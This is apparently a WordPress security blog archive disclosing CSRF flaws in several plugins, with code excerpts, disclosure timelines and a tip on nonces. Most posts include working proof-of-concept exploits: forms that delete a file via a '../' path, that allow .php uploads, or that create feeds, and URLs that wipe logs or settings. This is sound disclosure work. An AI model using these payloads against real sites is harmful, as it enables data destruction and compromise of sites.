19 Apr

Cross-Site Request Forgery (CSRF) Vulnerabilities in Triagis® Security Evaluation

Far too often it is found that security plugins for WordPress introduce security vulnerabilities of their own, which if you know much about security isn’t too surprising considering that so many security companies don’t seem to know and or care much about security.

We recently ran across the security plugin Triagis® Security Evaluation, which is described as “a simple lite-weight plugin to analyze your current WordPress installation, server for security vulnerabilities”. While taking a look over the plugin we found that it made functions available through WordPress’ AJAX functionality that are restricted to Administrator level users, but lack protection against cross-site request forgery (CSRF). Through that an attacker could cause a logged in Administrator to change the WordPress content directory’s location, change the website’s file permissions, delete arbitrary files on a website, change a user’s username, change the database prefix, or move the WordPress configuration file. While CSRF vulnerabilities are not something likely to be targeted at this time, an attacker could cause some serious issues if they were successful in exploiting this.

As an example of the issues let’s take a look at the function w4sl_delete_file_ajax() (in the file /admin/page-security-informations.php), which handles deleting files.

The function checks if the user making the request is an Administrator:

575
576
if( !is_super_admin())
	die( json_encode( array( 'error' => 'Unauthorized access !!' )));

Then it checks if the file being requested to exists and is readable:

578
579
580
581
582
583
$file = w4sl_sanitize_path( $_POST['file'] );
if( empty( $file ) || !file_exists( $file ))
	die( json_encode( array( 'error' => 'File not found !!' )));
 
if( !is_readable( $file ))
	die( json_encode( array( 'error' => 'File not readable !!' )));

After that it deletes the file:

585
@unlink( $file );

Nowhere in the function is there a check for valid nonce, which is used to prevent CSRF in WordPress.

Proof of Concept

The following proof of concept will delete a file named test.txt in the root directory of the WordPress install.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="w4sl_delete_file" />
<input type="hidden" name="file" value="../test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 10, 2017 – Developer notified.
  • April 19, 2017 – WordPress.org Plugin Directory notified.
  • April 19, 2017 – Removed from WordPress.org Plugin Directory.
03 Feb

Vulnerability Details: Cross-Site Request Forgery (CSRF) Vulnerability in Watu

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

01 Dec

Tip For Security Researchers: WordPress Uses a Nonce to Protect Against Cross-Site Request Forgery (CSRF)

For the last three false reports of vulnerabilities in WordPress plugins we have discussed, there has been a common denominator that we don’t quite understand. Each has involved a claim that a plugin has a cross-site request forgery (CSRF) vulnerability, but in the proof of concept for exploiting each of the vulnerabilities there has been nonce included. Seeing a nonce is what is used in WordPress to protect against that type of vulnerability, we have a hard time understanding what is going on here, other than people without the proper knowledge to make a claim that this type of vulnerability exist are in fact doing that.

When used in a form a simple version of the nonce looks like this:

<input type="hidden" id="_wpnonce" name="_wpnonce" value="aa27b52873" />

While it is not required to actually use the word “nonce”, in most cases it will be labeled as such.

While the existence of a valid looking nonce in a proof of concept of a vulnerability likely indicates that the report is false, the existence of a nonce in a plugin’s pages is not always an indication that there is not a CSRF vulnerability, as plugins do not always actually check if the nonce exists or that it is valid when processing the request tied to it. One way to test out if the CSRF protection is properly functioning is to use the developer tools in your web browser to modify the value of the nonce or remove it and see if the request is still successful.

30 Nov

Vulnerability Details: Cross-Site Request Forgery (CSRF) in Wp-D3

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

28 Oct

Vulnerability Details: Cross-Site Request Forgery (CSRF) Vulnerability in WP Database Backup

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

27 Oct

Cross-Site Request Forgery (CSRF) Vulnerability in GoDaddy Email Marketing

We recently found that the GoDaddy Email Marketing plugin had contained a cross-site request forgery (CSRF) vulnerability that could have caused all the data associate with the plugin to be deleted.

When the debug mode of the plugin is enabled the option to do a “cache reset” or a “hard reset” is made available. The “hard reset” would cause all of the data in the plugin to be deleted. As of version 1.1.2, a request for the URL /wp-admin/options-general.php?page=gem-settings&action=debug-reset would cause that to happen. As you can see, there is no nonce included in that URL, which is what is used to prevent CSRF in WordPress (there also was no check to make sure that a valid nonce was included before processing the request). Without that, if you could get a logged in administrator to visit that URL directly or cause them to send a request to that URL from a page you control, then all the data would be deleted.

Turning on the debug was properly protected against CSRF, so this was only exploitable if that was already enabled.

After we notified the developer they release two version of 1.1.3 of the plugin. The first version was intended to fix this, but was missing any changes. Version two of it included the fixes and version 1.1.4 was released right after that, so anyone with the first version of 1.1.3 will be prompted to upgrade to a fixed version.

Proof of Concept

The following proof of concept will cause the data associated with the plugin to be deleted, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/options-general.php?page=gem-settings&action=debug-reset

Timeline

  • 10/10/2016 – Contacted developer publicly to see how we could privately notify them of the issue.
  • 10/19/2016 – Developer responds after another one of the plugins is pulled from the directory due to vulnerability we discovered.
  • 10/19/2016 – We privately notified the developer of the issue.
  • 10/19/2016 – First version of 1.1.3 released, which intended to fix vulnerability but was missing any changes.
  • 10/26/2016 – Second version of 1.1.3 released, which fixes vulnerability.
13 Sep

Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Product Feed

One of the things we do to provide the best data on vulnerabilities in WordPress plugins is to monitor the wordpress.org Support Forum for threads related to those. Last week we came across a thread indicating that there was cross-site request forgery (CSRF) vulnerability in the plugin WooCommerce Product Feed. When we went to look into this we noticed that version that was supposed to fix this didn’t have any changes that looked related to that. When then asked in thread if the developer was sure that the intended fix was included, they responded yes, but what they said then did to fix the vulnerability had actually been done in version released after we asked them the question, so the truth was that they had not.

Not enough information was given for us to determine if there had actually been the claimed CSRF vulnerability in the plugin, but while looking over the plugin we when original came across the thread, we noticed a cross-site request forgery (CSRF) that exists in the current version of the plugin.

The plugin generates product feeds from WooCommerce, for sharing data with shopping services. The creation of a new product feed lack CSRF protection, so if you could get a logged in Administrator to visit a page you control you could cause a new product feed to be created at a location known to the hacker. A lot of the information that can be included in that is usually public, so the potential security risk would depend on if any information that could be included is something that the website wouldn’t want known to someone outside of it.

Requests to generate a feed our sent to the page /wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php, which causes the function woo_feed_generate_feed(), in the file /woo-feed.php, to run. That in turn causes the function woo_feed_add_update() to run when creating a new feed:

350
351
352
353
354
355
356
function woo_feed_generate_feed()
{
    if (isset($_POST['provider'])) {
        ini_set('display_errors', 1);
        ini_set('display_startup_errors', 1);
        error_reporting(E_ALL);
        $process = woo_feed_add_update($_POST);

To prevent cross-site request forgery (CSRF) there should be nonce check done before the feed is created, but that doesn’t occur before woo_feed_add_update() is run and that function also doesn’t do one before getting into the code that creates the feed:

235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
function woo_feed_add_update($info = "", $name = "")
{
    set_time_limit(0);
    if (count($info) &amp;&amp; isset($info['provider'])) {
        # GEt Post data
        if ($info['provider'] == 'google') {
            $merchant = "Woo_Feed_Google";
        } elseif ($info['provider'] == 'facebook') {
            $merchant = "Woo_Feed_Facebook";
        } else {
            $merchant = "Woo_Feed_Custom";
        }
 
        $feedService = sanitize_text_field($info['provider']);
        $fileName = str_replace(" ", "", sanitize_text_field($info['filename']));
        $type = sanitize_text_field($info['feedType']);

We notified the developer directly a week ago and also notified them of that contact in the previously mentioned thread, but so far we have received no response and the vulnerability hasn’t been fixed, despite a new version being released since then.

Proof of Concept

The following proof of concept will cause a new product feed to be generated with total sales of all the products and be stored at /wp-content/uploads/woo-feed/custom/csv/TotalSales.csv, when logged in to WordPress as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php" method="POST">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="filename" value="Total Sales">
<input type="hidden" name="feedType" value="csv">
<input type="hidden" name="itemsWrapper" value="products">
<input type="hidden" name="itemWrapper" value="product">
<input type="hidden" name="extraHeader" value="">
<input type="hidden" name="delimiter" value=",">
<input type="hidden" name="enclosure" value="double">
<input type="hidden" name="wf_tabs" value="on">
<input type="hidden" name="mattributes[]" value="Product">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="title">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[0][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="mattributes[]" value="Total Sales">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="wf_cattr_total_sales">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[1][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="ftpenabled" value="0">
<input type="hidden" name="ftphost" value="">
<input type="hidden" name="ftpuser" value="">
<input type="hidden" name="ftppassword" value="">
<input type="hidden" name="ftppath" value="">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

9/6/2016 – Developer notified.

29 Jul

Cross-Site Request Forgery (CSRF) Vulnerability in User Activity Log

Every additional plugin that you add to your WordPress website adds additional security risk, that includes security plugins. Recently we did a quick check over plugins designed to allow you to keep track actions taken by users on your website. In several of cases we found rather minor security vulnerabilities. We found two related issues in the plugin User Activity Log due to a lack of protection against cross-site request forgery (CSRF).

A CSRF vulnerability involves causing someone to take an action they didn’t intend to. In the case of the first vulnerability in the plugin, if you could get an Administrator to visit a page you control you could cause them to in turn access the page /wp-admin/admin.php?page=general_settings_menu&db=reset, which would cause all logged activity to be deleted. You can see that the URL doesn’t contain a nonce, which is what is used to protect agains this type of vulnerability. This isn’t something that is likely to be exploited, but it is concern since it would make it easier for someone to erase some of the evidence of what malicious action they might have taken.

We received a response from the developer the same day we contacted this issue and the other we discovered, but a month later the plugin has yet to receive an update, so the vulnerabilities still exist in the current version, 1.2.3.

Proof of Concept

The following proof of concept will cause all logged activity to be deleted when accessed by an Administrator level account

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=general_settings_menu&db=reset

Timeline

  • 6/29/2016 – Developer notified.
  • 6/29/2016 – Developer responds.
  • 6/29/2016 – Version 1.2.4 released, which fixes issue.
20 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in wpDiscuz

As we continue looking at ways we can improve the security of WordPress plugins, one of the thing we are trying is checking over plugins that we have recently added new vulnerabilities to our data set to see if we can find any other obvious vulnerabilities. The first vulnerability we have discovered is a really minor vulnerability, that would be more of an annoyance than a serious threat. In version 3.2.8 of the plugin wpDiscuz we found that there is no protection against cross-site request forgery (CSRF) when resetting the plugins settings. So if you can trick an Administrator level user in to visiting the URL that causes that, the reset will occur without them intending it. It seems to be a simple oversight as the two buttons next to it on the settings page do have the proper protection.

The reset is handle in the file /options/html-options.php at:

28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if (isset($_GET['wpdiscuz_reset_options']) &amp;&amp; $_GET['wpdiscuz_reset_options'] == 1 &amp;&amp; current_user_can('manage_options')) {
	delete_option(WpdiscuzCore::OPTION_SLUG_OPTIONS);
	$this-&gt;optionsSerialized-&gt;postTypes = array('post');
	$this-&gt;optionsSerialized-&gt;shareButtons = array('fb', 'twitter', 'google');
	$this-&gt;optionsSerialized-&gt;addOptions();
	$this-&gt;optionsSerialized-&gt;initOptions(get_option(WpdiscuzCore::OPTION_SLUG_OPTIONS));
	$this-&gt;optionsSerialized-&gt;blogRoles['post_author'] = '#00B38F';
	$blogRoles = get_editable_roles();
	foreach ($blogRoles as $roleName =&gt; $roleInfo) {
		$this-&gt;optionsSerialized-&gt;blogRoles[$roleName] = '#00B38F';
	}
	$this-&gt;optionsSerialized-&gt;blogRoles['guest'] = '#00B38F';
	$this-&gt;optionsSerialized-&gt;showPluginPoweredByLink = 1;
	$this-&gt;optionsSerialized-&gt;updateOptions();
	do_action('wpdiscuz_reset_options');
}

You can see that a capabilities check is done, so lower level users can’t cause a reset, but there is no nonce check done.

Proof of Concept

When logged in as an Administrator visiting the following URL will reset all the plugin’s settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/edit-comments.php?page=wpdiscuz_options_page&wpdiscuz_reset_options=1

Timeline

6/13/2016 – Developer notified.

17 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Upload My File

When it comes to hacking websites most of the time hackers are not interested in targeting specific websites, instead they are just trying to hit as many websites as possible to use for various purposes. That means that many types of vulnerabilites are not much of a threat because hackers are not often trying to exploit them. You still want to make sure those vulnerabilities don’t exist because if someone does target your website, you don’t want to be vulnerable. When it comes to WordPress websites, what seems like it would be one of the  most interesting type of website to be the subject of targeted attacks would be website with eCommerce functionality, since there is sensitive data being handled by the website.

One of the more popular eCommerce solutions for WordPress is WooCommerce, which has over 1 million active installs according to wordpress.org (which includes this website). There are also many plugins designed to work with that and each of those things introduces additional security risks. Since we started this service quite a few of those plugins have been found to have security vulnerabilities. We just came across another one.

While looking over some plugins that handle uploads we came across the plugin WooCommerce Upload My File, which allows customers to upload a file beside their order. That obviously introduce a potential risk, since if a hacker could use that to upload a malicious file it could allow them a high level of access to the website. To limit this the plugin restricts the file extensions that can be upload through the plugin, with it defaulting to only allowing jpg and png extensions. The permitted extensions is set on the plugin’s setting page and that is where we found an issue. The setting’s page for the plugin didn’t have protection against cross-site request forgery (CSRF), so that if a hacker could get a logged in admin to visit a page they control the hacker could cause the allowed extensions to be changed so that a .php file could be uploaded. From there they could create an order and then upload .php file with malicious code in it.

The vulnerability existed from version 0.1 to 0.3.9.

Proof of Concept

The following proof of concept will change the allowed file types for the plugin to “jpg,png,php”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=woocommerce_umf" method="POST">
<input type="hidden" name="umf_fields_submitted" value="submitted" />
<input type="hidden" name="woocommerce_umf_allowed_file_types" value="jpg,png,php" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/15/2016 – Developer notified.
  • 6/17/2016 – Version 0.4.0 released, which fixes vulnerability.